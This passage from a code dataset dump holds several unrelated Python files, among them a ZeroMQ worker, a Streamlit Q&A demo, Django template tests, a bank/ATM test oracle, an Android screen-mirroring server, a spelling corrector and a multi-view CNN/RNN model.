steering.recv_string()\n        net_logger(\"controller msg : \" + msg, net=False, terminal=True)\n        if msg == \"stop\":\n            steering.close()\n            global running\n            running = False\n            context.term()\n            flag = False\n    time.sleep(2)\n    pid = os.getpid()\n    net_logger(\"command and flask is exit\", net=True, terminal=True)\n\n    os.kill(pid, signal.SIGINT)\n\n\nclass MsgController(threading.Thread):\n    \"\"\"用于接受zmq命令\"\"\"\n    def __init__(self):\n        super(MsgController, self).__init__()\n\n    def run(self):\n        access_recv()\n\n\nclass MsgGarbageCollector(threading.Thread):\n    \"\"\"用于定时清理多余消息\"\"\"\n    def __init__(self):\n        super(MsgGarbageCollector, self).__init__()\n\n    def run(self):\n        syndb = SynDB(\"test\")\n        if not syndb.test_connection():\n            import sys\n            sys.exit()\n        net_logger(\"Message garbage collector starting\", net=False, terminal=False)\n        global running\n        while running:\n            time.sleep(syndb.limit_time)\n            games = syndb.get_all_games()\n\n            for game in games:\n                syndb.set_game_id(game)\n                channels = syndb.get_all_channels()\n                for channel in channels:\n                    syd = SynDB(channel=channel, game_id=game)\n                    syd.limit_content()\n        net_logger(\"Message garbage collector stop\", net=False, terminal=False)\n\n\n\n\n","sub_path":"chaos_chat/msg_worker.py","file_name":"msg_worker.py","file_ext":"py","file_size_in_byte":3987,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"342766522","text":"\"\"\"\nClasses for the primary structure\n \nGoing to call file: \"sequence.py\"\n\nTo do:\n- extend the RNA child class for RNA-specific functionality\n- make PrimeStruc an abstract class\n\"\"\"\n\n\n# abstract class for any 1D sequence\n\nclass PrimStruc(object):\n\n    \"\"\"\n    class for the intial data\n\n    Attributes:\n        composition (dict): statistics of sequence\n        length (int): count of monomers in sequence\n        sequence (str): sequence as string\n    \"\"\"\n\n    def __init__(self,\n                 sequence=None,\n                 length=None,\n                 fastaid=None):\n        self.sequence = sequence\n        self.length = length\n        self.composition = {}\n        # self.fastaid = fastaid\n\n    def comp_stats(self, percent=False):\n        \"\"\"\n        statistics from the sequence\n        \"\"\"\n\n        # check that sequence is there\n        if len(self.sequence) == 0:\n            raise ValueError(\"ERROR: no sequence found\")\n\n        else:\n            print(\"getting composition stats\")\n            # iterate over characters and save them\n            for char in self.sequence:\n                self.composition[char] = self.sequence.count(char)\n\n            # check percent bool\n            if percent:\n                for char, count in self.composition.items():\n                    self.composition[char] = count / self.length\n\n        return self.composition\n\n    # @classmethod\n    def from_txt(self, filename):\n        \"\"\"import sequence from txt file\n        s\n        Args:\n            filename (txt): text file with only sequence inside\n\n        Returns:\n            sequence (str): attribute of class\n        \"\"\"\n        with open(filename) as f:\n            for line in f:\n                seq = line\n                if 'str' in line:\n                    break\n        self.sequence = seq\n        self.length = len(seq)\n\n        return self.sequence\n\n    @classmethod\n    def from_str(self, seqstring):\n        \"\"\"import class from str\n\n        gives a new instantiaion whith sequence provided\n        Args:\n            seqstring (str): sequence as seqstring\n        \"\"\"\n        primarystructure_inst = PrimStruc(sequence=seqstring,\n                                          length=len(seqstring))\n\n        return primarystructure_inst\n\n\nclass RNAseq(PrimStruc):\n\n    \"\"\"\n    RNA sequence \n    \"\"\"\n\n    # def __int__(self, sequence, length, fastaid):\n    #    super().__init__(*args, *kwargs)\n\n    pass\n","sub_path":"sequence.py","file_name":"sequence.py","file_ext":"py","file_size_in_byte":2423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"298510561","text":"import math\n\n\ndef solution(n):\n    sqrt = math.sqrt(n)\n    return int((sqrt + 1) * (sqrt + 1)) if sqrt.is_integer() else -1\n\n\nif __name__ == '__main__':\n    test = [\n        121, 3\n    ]\n\n    for a in test:\n        print(solution(a))\n","sub_path":"programmers/level_1/정수_제곱근_판별.py","file_name":"정수_제곱근_판별.py","file_ext":"py","file_size_in_byte":234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"511736861","text":"import streamlit as st\nfrom transformers import pipeline\nfrom pyngrok import ngrok\nimport requests\n\n\n@st.cache(allow_output_mutation=True)\ndef load_model():\n    question_answerer = pipeline(\"question-answering\", model='bert-large-uncased-whole-word-masking-finetuned-squad')\n    return question_answerer\n\n\ndef get_data(question, context):\n    question_answerer = load_model()\n    a = question_answerer(\n        question=question,\n        context=context\n    )\n    return a['answer']\n\n\nurl = \"None\"\nif not hasattr(st, 'already_started_server'):\n    st.already_started_server = True\n\n    st.write('''\n            The first time this script executes it will run forever because it's\n            running a Opyrator server.\n\n            Just close this browser tab and open a new one to see your Streamlit\n            app.\n        ''')\n\n    import os\n\n    endpoint = ngrok.connect(8055).public_url\n\n    status = requests.get(\n        f'https://jarvis-ai-api.herokuapp.com/update_api_endpoint_asr/?username=dipeshpal&token={st.secrets[\"token\"]}&endpoint={endpoint}')\n    print(\"endpoint------------------------------\", endpoint)\n    os.system(\"opyrator launch-api op:ai_models_jarvis --port 8055\")\n    # os.system(\"uvicorn asr_fastapi:app --reload --reload-dir data\")\n\n\n# this is the main function in which we define our webpage\ndef main():\n    # front end elements of the web page\n    st.title('Transformers Q and A Demo')\n\n    # following lines create boxes in which user can enter data required to make prediction\n    c = st.text_area(\"Context\", \"My name is Robert\")\n    q = st.text_input('Question', 'What is my name?')\n    result = \"\"\n\n    # when 'Predict' is clicked, make the prediction and store it\n    if st.button(\"Predict\"):\n        result = get_data(q, c)\n        st.success(result)\n        print(result)\n\n\nif __name__ == '__main__':\n    main()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"587920694","text":"# coding: utf-8\n\n\"\"\"\nThis is a (temporary?) module with tests regarding template structure around\nassopy and p3 apps. Basically the situation right now (2017-11-08) is such that\nwe have multiple places where assopy and p3 templates are stored, and it's not\nclear which template (and especially which inheritance path) is being used.\n\nThe main goal of this is to clean up the location and inheritance structure, so\nthat it's easier to figure out which template is being used.\n\"\"\"\n\nfrom __future__ import unicode_literals, absolute_import\n\nfrom datetime import date\nfrom decimal import Decimal\n\nfrom django.core.urlresolvers import reverse\nfrom django.utils import timezone\n\nfrom django_factory_boy import auth as auth_factories\nfrom pytest import mark\n\nfrom assopy.models import Invoice, Order, Vat\nfrom assopy.tests.factories.user import UserFactory as AssopyUserFactory\nfrom conference.models import AttendeeProfile\n\nfrom tests.common_tools import template_paths\n\n\ndef make_sure_root_template_is_used(response, template_name):\n    \"\"\"\n    Checks if templates are used form the root template directory and not from\n    p3 or assopy app-templates directories.\n    \"\"\"\n\n    assert response.status_code == 200, response.status_code\n    paths = template_paths(response)\n\n    root = \"/templates/\"\n    p3 = \"/p3/templates/\"\n    assopy = \"/assopy/templates/\"\n\n    assert root + template_name in paths, paths\n    assert assopy + template_name not in paths, paths\n    assert p3 + template_name not in paths, paths\n\n\n@mark.django_db\ndef test_assopy_invoice(client):\n    # default password is 'password123' per django_factory_boy\n    user = auth_factories.UserFactory(email='joedoe@example.com',\n                                      is_active=True)\n    assopy_user = AssopyUserFactory(user=user)\n    client.login(email='joedoe@example.com', password='password123')\n\n    # invoice_code must be validated via ASSOPY_IS_REAL_INVOICE\n    invoice_code, order_code = 'I123', 'asdf'\n\n    # FYI(artcz): Order.objects.create is overloaded method on OrderManager,\n    # that sets up a lot of unused stuff, going with manual .save().\n    order = Order(user=assopy_user, code=order_code)\n    order.save()\n    # create some random Vat instance to the invoice creation works\n    vat_10 = Vat.objects.create(value=10)\n\n    Invoice.objects.create(\n        code=invoice_code,\n        order=order,\n        emit_date=timezone.now().date(),\n        price=Decimal(1337),\n        vat=vat_10,\n        html='Here goes full html',\n        exchange_rate_date=date.today(),\n    )\n\n    invoice_url = reverse('assopy-invoice-html', kwargs={\n        'order_code': order_code,\n        'code': invoice_code,\n    })\n\n    response = client.get(invoice_url)\n    # TODO(artcz) after we changed to pre-rendering and storing full html of\n    # the invoice we no longer use a template in this view.\n    # TBD if we need that test here anymore, since it supposed to test\n    # templates temporarily anyway.\n    assert response.content == 'Here goes full html'\n\n\n@mark.django_db\ndef test_assopy_paypal(client):\n    \"\"\"\n    This tests two views – paypal_feedback_ok and paypal_cancel.\n    \"\"\"\n    user = auth_factories.UserFactory(email='joedoe@example.com',\n                                      is_active=True)\n    assopy_user = AssopyUserFactory(user=user)\n\n    order_code = 'asdf'\n    order = Order(user=assopy_user, code=order_code, method='paypal')\n    order.save()\n\n    paypal_feedback_ok_url = reverse(\n        \"assopy-paypal-feedback-ok\",\n        kwargs={'code': order_code}\n    )\n\n    paypal_cancel_url = reverse(\n        \"assopy-paypal-feedback-cancel\",\n        kwargs={'code': order_code}\n    )\n\n    response = client.get(paypal_cancel_url)\n\n    make_sure_root_template_is_used(response, \"assopy/paypal_cancel.html\")\n    make_sure_root_template_is_used(response, \"assopy/base.html\")\n    make_sure_root_template_is_used(response, \"p3/base.html\")\n\n    # @login_required is not enforced on any of those views, however feedback\n    # has some manual checks builtin, so we need to to log in as a correct\n    # user.\n    client.login(email='joedoe@example.com', password='password123')\n    response = client.get(paypal_feedback_ok_url)\n\n    make_sure_root_template_is_used(response, \"assopy/paypal_feedback_ok.html\")\n    make_sure_root_template_is_used(response, \"assopy/base.html\")\n    make_sure_root_template_is_used(response, \"p3/base.html\")\n\n\n@mark.django_db\ndef test_assopy_profile(client):\n    profile_url = reverse('assopy-profile')\n    user = auth_factories.UserFactory(email='joedoe@example.com',\n                                      is_active=True)\n    # both are required to access user profile page.\n    AssopyUserFactory(user=user)\n    AttendeeProfile.objects.create(user=user, slug='foobar')\n\n    client.login(email='joedoe@example.com', password='password123')\n    response = client.get(profile_url)\n\n    make_sure_root_template_is_used(response, \"assopy/profile.html\")\n    make_sure_root_template_is_used(response, \"assopy/base.html\")\n    make_sure_root_template_is_used(response, \"p3/base.html\")\n\n    # there are some includes used in this template, namely\n    # profile_{email_contact,personal_data,spam_control}.html\n    # those templates are also used in specific p3 views\n\n    make_sure_root_template_is_used(\n        response, \"assopy/profile_email_contact.html\")\n    make_sure_root_template_is_used(\n        response, \"assopy/profile_personal_data.html\")\n    make_sure_root_template_is_used(\n        response, \"assopy/profile_spam_control.html\")\n\n    # also those templates are used in some p3 views, so adding some additional\n    # checks for them.\n    p3_account_spam_control_url = reverse('p3-account-spam-control')\n    response = client.get(p3_account_spam_control_url)\n    make_sure_root_template_is_used(response,\n                                    \"assopy/profile_spam_control.html\")\n\n    p3_account_email_url = reverse('p3-account-email')\n    response = client.get(p3_account_email_url)\n    make_sure_root_template_is_used(response,\n                                    \"assopy/profile_email_contact.html\")\n\n    p3_account_data_url = reverse('p3-account-data')\n    response = client.get(p3_account_data_url)\n    make_sure_root_template_is_used(response,\n                                    \"assopy/profile_personal_data.html\")\n","sub_path":"tests/test_assopy_templates_paths.py","file_name":"test_assopy_templates_paths.py","file_ext":"py","file_size_in_byte":6315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"214255388","text":"import os\nimport json\nimport subprocess\nimport base64\nimport atexit\nimport sys\n\nfrom nbstreamreader import NonBlockingStreamReader as NBSR\n\ndef runExceution(nbsr, test_input, expectedBank, expectedAtm):\n\tparams = test_input[\"input\"]\n\tfor n, j in enumerate(params):\n\t\tif \"base64\" in test_input and test_input[\"base64\"]:\n\t\t\tparams[n] = base64.standard_b64decode(params[n])\n\t\tif params[n] == \"%PORT%\" or params[n] == b\"%PORT%\":\n\t\t\tparams[n] = \"3000\"\n\t\tif params[n] == \"%IP%\" or params[n] == b\"%IP%\":\n\t\t\tparams[n] = \"127.0.0.1\"\n\n\tprint(\"ATM PARAM:\", str(params).encode(\"utf-8\"))\n\tresult = subprocess.run([\"./atm\"] + params, stdout=subprocess.PIPE)\n\tprint(\"ATM EXIT  \", result.returncode, \"STDOUT: \", result.stdout)\n\ttry:\n\t\tatmOutJson = json.loads(result.stdout.decode('utf-8'))\n\texcept:\n\t\tatmOutJson = result.stdout.decode('utf-8')\n\n\tbankLine = nbsr.readline(0.2) or b\"\"\n\ttry:\n\t\tbankOutJson = json.loads(bankLine.decode(\"utf-8\"))\n\texcept:\n\t\tbankOutJson = bankLine.decode(\"utf-8\")\n\n\tatmActualJson = {\"exit\": result.returncode,\"output\": atmOutJson}\n\tbankActualJson = {\"output\": bankOutJson}\n\n\ta = compareJson(\"ATM\", expectedAtm, atmActualJson)\n\tb = compareJson(\"BANK\", expectedBank, bankActualJson)\n\n\treturn a and b\n\n\ndef compareJson(side, expected, actual):\n\tif not actual == expected:\n\t\tprint()\n\t\tprint(\"ERROR\", side)\n\t\tprint(\"EXPECTED:\",)\n\t\tprint(expected)\n\t\tprint()\n\t\tprint(\"ACTUAL:\",)\n\t\tprint(actual)\n\t\treturn False\n\treturn True\n\n\ndef runTestcase(testplan):\n\tsubprocess.call(\"rm -f *.card; rm .*.card\", shell=True)\n\tsubprocess.call(\"rm -f *.auth\", shell=True)\n\tprint (\"Exec bank process\")\n\tpopen = subprocess.Popen([\"./bank\"], stdout=subprocess.PIPE)\n\tatexit.register(popen.kill)\n\tprint (\"Read first line\")\n\tnbsr = NBSR(popen.stdout)\n\tprint(nbsr.readline(5))\n\terror = False\n\tprint(\"--\"*30)\n\n\tfor test in testplan:\n\t\tsame = runExceution(nbsr, test[\"input\"], test[\"bank\"], test[\"atm\"])\n\t\tprint(\"--\"*30)\n\t\tif not same:\n\t\t\terror = True\n\t\t\tbreak;\n\t\n\tsubprocess.call(\"rm -f *.card\", shell=True)\n\tsubprocess.call(\"rm -f *.auth\", shell=True)\n\tpopen.terminate()\n\tprint(\"BANK SIGTERM\")\n\tpopen.wait(10.0)\n\tif popen.returncode is None:\n\t\tpopen.kill()\n\t\tprint(\"ERROR BANK: did not exit in time\")\n\t\terror = True\n\telif popen.returncode != 0:\n\t\tprint(\"ERROR BANK: did not exit with code 0\")\n\t\terror = True\n\telse:\n\t\tprint(\"BANK EXIT OK\")\n\treturn not(error)\n\t\ndef listTestcases():\n\ttestDir = \"testcases\"\n\tif os.path.isdir(testDir):\n\t\tfor testcase in os.listdir(testDir):\n\t\t\ttestcasePath = os.path.join(testDir, testcase)\n\t\t\tif os.path.isfile(testcasePath) and testcase.endswith(\".json\"):\n\t\t\t\twith open(testcasePath, \"rb\") as f:\n\t\t\t\t\ttestplan = json.loads(f.read().decode(\"utf-8\"))\n\t\t\t\tif not runTestcase(testplan):\n\t\t\t\t\tsys.exit(255)\n\t\t\t\n\t\t\t\n\ndef extract_inputs(filename):\n\twith open(filename, \"rb\") as f:\n\t\ttestplan = json.loads(f.read().decode(\"utf-8\"))\n\t\tinputs = []\n\t\tfor step in testplan:\n\t\t\tinputs.append(step[\"input\"])\n\t\tprint(json.dumps(inputs, ensure_ascii=True))\n\n\ndef merge_input_outputs(inputs_file, outputs_file):\n\twith open(inputs_file, \"rb\") as f:\n\t\tinputs = json.loads(f.read().decode(\"utf-8\"))\n\twith open(outputs_file, \"rb\") as f:\n\t\toutputs = json.loads(f.read().decode(\"utf-8\"))\n\tmerged = []\n\tfor inpt, outpt in zip(inputs, outputs):\n\t\tif \"output\" not in outpt[\"bank\"]:\n\t\t\toutpt[\"bank\"][\"output\"] = \"\"\n\t\tentry = {\n\t\t\t\"input\": inpt,\n\t\t\t\"bank\": outpt[\"bank\"],\n\t\t\t\"atm\": outpt[\"atm\"],\n\t\t}\n\t\tmerged.append(entry)\n\tprint(json.dumps(merged, ensure_ascii=True, indent=2))\n\n\nif __name__ == '__main__':\n\tif len(sys.argv) == 3 and sys.argv[1] == \"inputs\":\n\t\textract_inputs(sys.argv[2])\n\t\tsys.exit(0)\n\tif len(sys.argv) == 4 and sys.argv[1] == \"merge\":\n\t\tinputs_file = sys.argv[2]\n\t\toutputs_file = sys.argv[3]\n\t\tmerge_input_outputs(inputs_file, outputs_file)\n\t\tsys.exit(0)\n\n\n\tlistTestcases()\n","sub_path":"zabivaka/fix_cleaned/12/445_team12-break6/run_oracle.py","file_name":"run_oracle.py","file_ext":"py","file_size_in_byte":3779,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"60321674","text":"import os\nimport threading\n\nimport time\nimport tornado.web\nimport tornado.websocket\nimport tornado.httpserver\nimport tornado.ioloop\nfrom tornado import escape\n\nfrom Android.AndroidDevice import _AndroidDevice\nfrom Main import config\nfrom Main.DeviceControl import _DeviceControl\nfrom Minicap.MinicapStream import _MinicapStream\nScale=config.SCALE\nPORT=config.PORT\nout_screen_size=config.OUT_SCREEN_SIZE\ndevice_id=None\nphone_port=['1111','2222','3333','4444']\nuser_list={}\nclass IndexPageHandler(tornado.web.RequestHandler):\n    def get(self):\n        ip=self.request.remote_ip\n        global device_id\n        try:\n            device_id=self.get_argument('device_id')\n        except:\n            device_id = ''\n\n        self.render('Main/default.html')\n\nclass WebSocketHandler(tornado.websocket.WebSocketHandler):\n    is_control=False\n\n    def check_origin(self, origin):\n        print(origin)\n        return True\n\n    def open(self):\n        self.write_message(str(out_screen_size))\n        self.phone = PhoneConfig(device_id)\n        self.phone.setConfig()\n        self.start_server()\n\n    def on_message(self, message):\n        if len(message)>1:\n            if(message=='control'):\n                self.is_control=True\n            else:\n                if self.is_control:\n                    self.phone.device_control.TouchEvent(message)\n                else:\n                    pass\n\n    def start_server(self):\n\n        t3 = threading.Thread(target=self.senddata, name='thread2', args=())\n        t3.start()\n\n    def senddata(self):\n        while True:\n            time.sleep(1/config.REFRESH_RATE)\n            try:\n                if self.phone.minicap.update:\n                    sends = self.phone.minicap.bytequeue\n                    self.phone.minicap.update = False\n                    self.write_message(sends,True)\n            except Exception as e:\n                print(e)\n                print('断开一个连接！')\n                print(self.request.remote_ip)\n                return\n\n    def on_close(self):\n        pass\n\nclass Application(tornado.web.Application):\n    def __init__(self):\n        handlers = [\n            (r'/', IndexPageHandler),\n            (r'/ws', WebSocketHandler)\n        ]\n        settings = {\"template_path\": \".\",\n                    \"static_path\": os.path.join(os.path.dirname(__file__), \"static\")}\n        tornado.web.Application.__init__(self, handlers, **settings)\n\nclass PhoneConfig():\n    minicap = ''\n    device_control = ''\n    phone_list={}\n    def __init__(self,device_id=''):\n        if device_id not in phone_port:\n            self.phone_list[device_id]=phone_port[len(self.phone_list)]\n        self.capport=int(self.phone_list.get(device_id))\n        self.touchport=self.capport+1\n        self.device=_AndroidDevice(device_id,self.capport,self.touchport)\n\n\n    def setConfig(self,ip=0):\n        global user_list\n        self.device.setOrientation(0)\n        self.device.setScale(Scale)\n        minicaptask =threading.Thread(target=self.device.StartMinicapServer,name='minicaptask',args=());\n        minicaptask.start();\n        time.sleep(1);\n        minitouchtask = threading.Thread(target=self.device.StartMiniTouchServer, name='minitouchtask', args=());\n        minitouchtask.start();\n        time.sleep(5)\n        self.minicap = _MinicapStream(self.capport)\n        self.device_control = _DeviceControl(self.device,self.touchport,device_id)\n        t1 = threading.Thread(target=self.minicap.ReadImageStream, name='thread1', args=())\n        t1.start()\n        t2 = threading.Thread(target=self.device_control.minitouch.ParseBanner, name='thread1', args=())\n        t2.start()\n        time.sleep(3)\n        print('*********************************************************')\n        print('********************** StartServer **********************')\n        print('*********************************************************')\n\n\nws_app = Application()\nserver = tornado.httpserver.HTTPServer(ws_app)\nserver.listen(PORT)\ntornado.ioloop.IOLoop.instance().start()\n\n\n\n","sub_path":"Main/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":4027,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"277828716","text":"# The mighty whales which swim in a sea of water, and have a sea of oil swimming in them\n# That man next him looks a few shades lighter\n# The whale is a mammiferous animal without hind feet\n\nfrom tkinter import *\nimport nltk\nfrom nltk.corpus import gutenberg\nfrom collections import OrderedDict\nfrom nltk import re\nimport numpy\n\n\ntxt = \"\"\nwords = set()\nerrors = []\nsents = []\ncandidates = []\nprobs = {}\nbest_cand = []\n\n\ndef load_txt():\n    global txt\n    txt = gutenberg.raw(fileids='melville-moby_dick.txt')\n\n\ndef load_sents():\n    global sents\n    default_st = nltk.sent_tokenize\n    mobyd = gutenberg.raw(fileids='melville-moby_dick.txt')\n    sents = default_st(text=mobyd)\n\n\ndef filter(text):\n    res = \"\"\n    for i in text:\n        if (i>='a' and i<='z') or (i>='A' and i<='Z'):\n            res += i\n        else:\n            break\n    return res\n\n\ndef tokenize():\n    for word in txt.split():\n        words.add(filter(word))\n\n\ndef detect_error(sent):\n    words = sent.split()\n    for wd in words:\n        if not re.search(wd, txt):\n            errors.append(wd)\n\n\ndef MED(A, B):\n    m = len(A)\n    n = len(B)\n    D = numpy.zeros((m + 1, n + 1))\n    for i in range(1, m+1):\n        D[i , 0] = i\n    for j in range(1, n+1):\n        D[0, j] = j\n    for i in range(1, m+1):\n        for j in range(1, n+1):\n            if A[i-1] == B[j-1]:\n                alpha = 0\n            else:\n                alpha = 2\n\n            D[i, j] = min(D[i - 1, j] + 1,\n                          D[i, j - 1] + 1, D[i-1, j-1] + alpha)\n\n    return D[m, n]\n\n\t\ndef generate_candidates():\n    for error in errors:\n        tmp = []\n        for word in words:\n            if abs(len(error) - len(word)) <= 2:\n                if MED(error, word) < 3:\n                    tmp.append(word)\n        candidates.append(tmp)\n\n\t\t\ndef prob(w1, w2):\n    # prob = count(w1 | w2) / count(w1)\n    key = str(w1) + \" \" + str(w2)\n    count_w1_w2 = [w for w in sents if re.search(key, w)]\n    key = str(w1)\n    count_w1 = [w for w in words if re.search(key, w)]\n    return len(count_w1_w2) / float(len(count_w1))\n\n\t\ndef bigram(sents):\n    words = sents.split()\n    p = 1\n    for i in range(0, len(words)-1):\n        p *= prob(words[i], words[i+1])\n    return p\n\n\t\ndef best_candidate(sent):\n    for i in range(0, len(errors)):\n        for j in range(0, len(candidates[i])):\n            tmp = sent.replace(errors[i], candidates[i][j])\n            probs[candidates[i][j]] = bigram(tmp)\n\n    d = OrderedDict(sorted(probs.items(), key=lambda x: x[1], reverse=True))\n    print(d)\n\n    for k in d:\n        best_cand.append(k)\n\n\t\t\ndef print_can():\n    for i in range(0, len(errors)):\n        print(errors[i])\n        print(candidates[i])\n        # for j in range(0, len(candidates[i])):\n        #     print(\" -  \" + candidates[i][j])\n\n\t\t\ndef main(sent):\n    load_txt()\n    detect_error(sent)\n    tokenize()\n    load_sents()\n    generate_candidates()\n    best_candidate(sent)\n    print_can()\n    print(probs)\n    print(best_cand)\n\n\ndef clear():\n    errors.clear()\n    probs.clear()\n    best_cand.clear()\n    candidates.clear()\n\n\t\ndef func(txt):\n    main(txt)\n    if len(best_cand) != 0:\n        # print(best_cand[0])\n        msg = \"Do you mean: \" + txt.replace(errors[0], best_cand[0]) + \"\\n\\n(\"\n        for i in best_cand:\n            msg += i + \", \"\n        msg = msg[:len(msg) - 2] + \")\"\n    else:\n        msg = \"Correct sentence\"\n    lbl2.config(text=msg)\n    clear()\n\n\t\nroot = Tk()\nroot.geometry(\"600x200\")\nroot.title(\"Spelling-Correction\")\n\nlbl = Label(root, text=\"Sentence:\")\nlbl.grid(row=0, column=0, padx=12, pady=12)\ntxt1 = Entry(root, font=('arial', 15))\ntxt1.grid(row=0, column=1, padx=12, pady=12)\n\nlbl2 = Label(root, text=\"\")\nlbl2.grid(row=2, column=1, padx=12, pady=12)\n\nbtn = Button(root, text=\"correct\", command=lambda: func(txt1.get()))\nbtn.grid(row=3, column=1, ipadx=20, ipady=5)\nroot.mainloop()\n","sub_path":"NLP/SpellingCorrection.py","file_name":"SpellingCorrection.py","file_ext":"py","file_size_in_byte":3868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"481819093","text":"import tensorflow as tf\nimport numpy as np\nfrom utils import imgutils\nimport functools\n\nfrom data import modelnet\n# from tensorflow.examples.tutorials.mnist import input_data\nfrom cnn_model import CNNModel\nfrom rnn_model import RNNModel\n\n#tf.flags.DEFINE_string('model_path', '~/PycharmProjects/TF/trained_model', 'path for saving model')\n#tf.flags.DEFINE_string('vgg_path', '/home/shangmingyang/PycharmProjects/TF/trained_model/vgg19.npy', 'trained model for vgg')\n\ntf.flags.DEFINE_string('model_path', '/home1/shangmingyang/data/3dmodel/trained_mvmodel/views2test/mvmodel-1', 'path for saving model')\ntf.flags.DEFINE_string('vgg_path', '/home1/shangmingyang/models/vgg/vgg19.npy', 'trained model for vgg')\ntf.flags.DEFINE_string('modelnet_path', '/home3/lxh/modelnet/modelnet40v1_2', 'modelnet dir')\n\nFLAGS = tf.flags.FLAGS\n\nclass MVModel(object):\n    def __init__(self, train_config, model_config, is_training=True):\n        self.train_config, self.model_config = train_config, model_config\n        self.is_training = is_training\n        self.cnn_model = CNNModel(self.train_config.cnn_keep_prob, is_training=is_training)\n        self.rnn_model = RNNModel(train_config.learning_rate, model_config.n_fcs, model_config.n_views,\n                                  model_config.n_hidden, model_config.n_classes, train_config.rnn_keep_prob if is_training else 1.0, is_training=self.is_training)\n        self.gpu_config = tf.ConfigProto()\n        self.gpu_config.gpu_options.allow_growth = True\n        self.data = modelnet.read_data(FLAGS.modelnet_path)\n\n\n    def build_model(self):\n        self.images = tf.placeholder(tf.float32, [None, 224, 224, 3])\n        self.images2 = tf.placeholder(tf.float32, [None, 224, 224, 3])\n        with tf.variable_scope('mv-cnn') as scope:\n            self.cnn_model.build_model(self.images, self.images2, FLAGS.vgg_path)\n        with tf.variable_scope('mv-rnn') as scope:\n            self.rnn_model.build_model(self.cnn_model.all_outputs())\n\n        self.optimizer = self.rnn_model.optimizer\n\n    def co_train(self):\n        with tf.Session() as sess:\n            self.build_model()\n            print('build model finished')\n            init = tf.global_variables_initializer()\n            saver = tf.train.Saver()\n            # TODO restore trained model before or run init op\n            saver.restore(sess, FLAGS.model_path)\n            #sess.run(init)\n            print('init model parameter finished')\n            epoch = 1\n            print('start training')\n            with open('variables.txt', 'w') as f:\n                f.writelines('\\n'.join([v.name for v in tf.global_variables()]))\n            #print([v.name for v in tf.global_variables()])\n            #saver.save(sess, FLAGS.model_path, global_step=0)\n\n            #fc6_weights = [v for v in tf.global_variables() if v.name=='mv-cnn/fc6/fc6_weights:0'][0]\n            #cell_biases = [v for v in tf.global_variables() if v.name=='rnn/gru_cell/gates/biases/Adam_1:0'][0]\n            conv5_4 = [v for v in tf.global_variables() if v.name=='mv-cnn/conv5_4/conv5_4_filters:0'][0]\n            gates_weights = [v for v in tf.global_variables() if v.name=='mv-rnn/rnn/gru_cell/gates/weights:0'][0]\n            #print(sess.run(conv5_4))\n            #print(sess.run(gates_weights))\n            while epoch <= self.train_config.training_epoches:\n                batch = 1\n                while batch * self.train_config.batch_size <= self.data.train.size():\n                    batch_imgpaths, batch_labels = self.data.train.next_batch(self.train_config.batch_size)\n                    print(batch_imgpaths[::12])\n                    print(batch_imgpaths[1::12])\n                    batch_img = self.build_input(batch_imgpaths[::12])\n                    batch_img_2 = self.build_input(batch_imgpaths[1::12])\n                    sess.run(self.optimizer, feed_dict={self.images: batch_img, self.images2: batch_img_2, self.rnn_model.y: batch_labels, self.cnn_model.train_mode: True})\n                    relu7, relu7_copy, acc, loss = sess.run([self.cnn_model.output1,self.cnn_model.output2,self.rnn_model.accuracy, self.rnn_model.cost], feed_dict={self.images:batch_img, self.images2: batch_img_2,  self.rnn_model.y:batch_labels, self.cnn_model.train_mode:False})\n                    print(\"epoch \" + str(epoch) + \",batch \" + str(epoch*batch) + \", Minibatch loss= \" + \"{:.6f}\".format(loss) + \", Training Accuracy= \" + \"{:.5f}\".format(acc))\n                    print(\"relu7\", relu7)\n                    print(\"relu7_copy\", relu7_copy)\n                    np.save('conv/%d'%(batch), sess.run(conv5_4))\n                    np.save('gates/%d'%(batch), sess.run(gates_weights))\n                    batch += 1\n\n                if epoch % self.train_config.display_epoches == 0:\n                    acc, loss = sess.run([self.rnn_model.accuracy, self.rnn_model.cost], feed_dict={self.images:batch_img, self.images2: batch_img_2, self.rnn_model.y:batch_labels, self.cnn_model.train_mode:False})\n                    print(\"epoch \" + str(epoch) + \", Minibatch loss= \" + \"{:.6f}\".format(loss) + \", Training Accuracy= \" + \"{:.5f}\".format(acc))\n                if epoch % self.train_config.save_epoches == 0:\n                    #test_imgpaths, test_labels = self.data.test.views(), self.data.test.labels\n                    #test_imgs = self.build_input(test_imgpaths)\n                    #acc = sess.run([self.rnn_model.accuracy], feed_dict={self.images:test_imgs, self.rnn_model.y:test_labels, self.cnn_model.train_mode:False})\n                    #print(\"epoch\" + str(epoch) + \", Testing accuracy=\" + \"{:.6f}\".format(acc))\n                    try:\n                        saver.save(sess, FLAGS.model_path, global_step=epoch)\n                    except Exception as e:\n                        print(\"save model exception:\", e)\n\n                epoch += 1\n\n\n    def test(self, test_model_path=\"\"):\n        with tf.Session() as sess:\n            self.build_model()\n            print(\"build model finished\")\n            saver = tf.train.Saver()\n            saver.restore(sess, test_model_path if len(test_model_path)>0 else FLAGS.model_path)\n            print(\"restore model parameter finished\")\n\n            total_acc = 0.0\n\n            test_imgpaths, test_labels = self.data.test.views(), self.data.test.labels\n            with open('wrong_model.txt', 'w') as f:\n                for i in xrange(len(test_labels)):\n                    test_imgs = self.build_input(test_imgpaths[i*self.model_config.n_views : (i+1)*self.model_config.n_views])\n                    acc = sess.run([self.rnn_model.accuracy],\n                                  feed_dict={self.images:test_imgs, self.rnn_model.y:test_labels[i:i+1], self.cnn_model.train_mode:False})\n                    if acc < 0.5:\n                        f.write(test_imgpaths[self.model_config.n_views*i]+'\\n')\n                    total_acc += acc\n            print(\"accuracy in %d models: %f\" %(len(test_labels), total_acc/len(test_labels)))\n\n    def build_input(self, imgpaths):\n        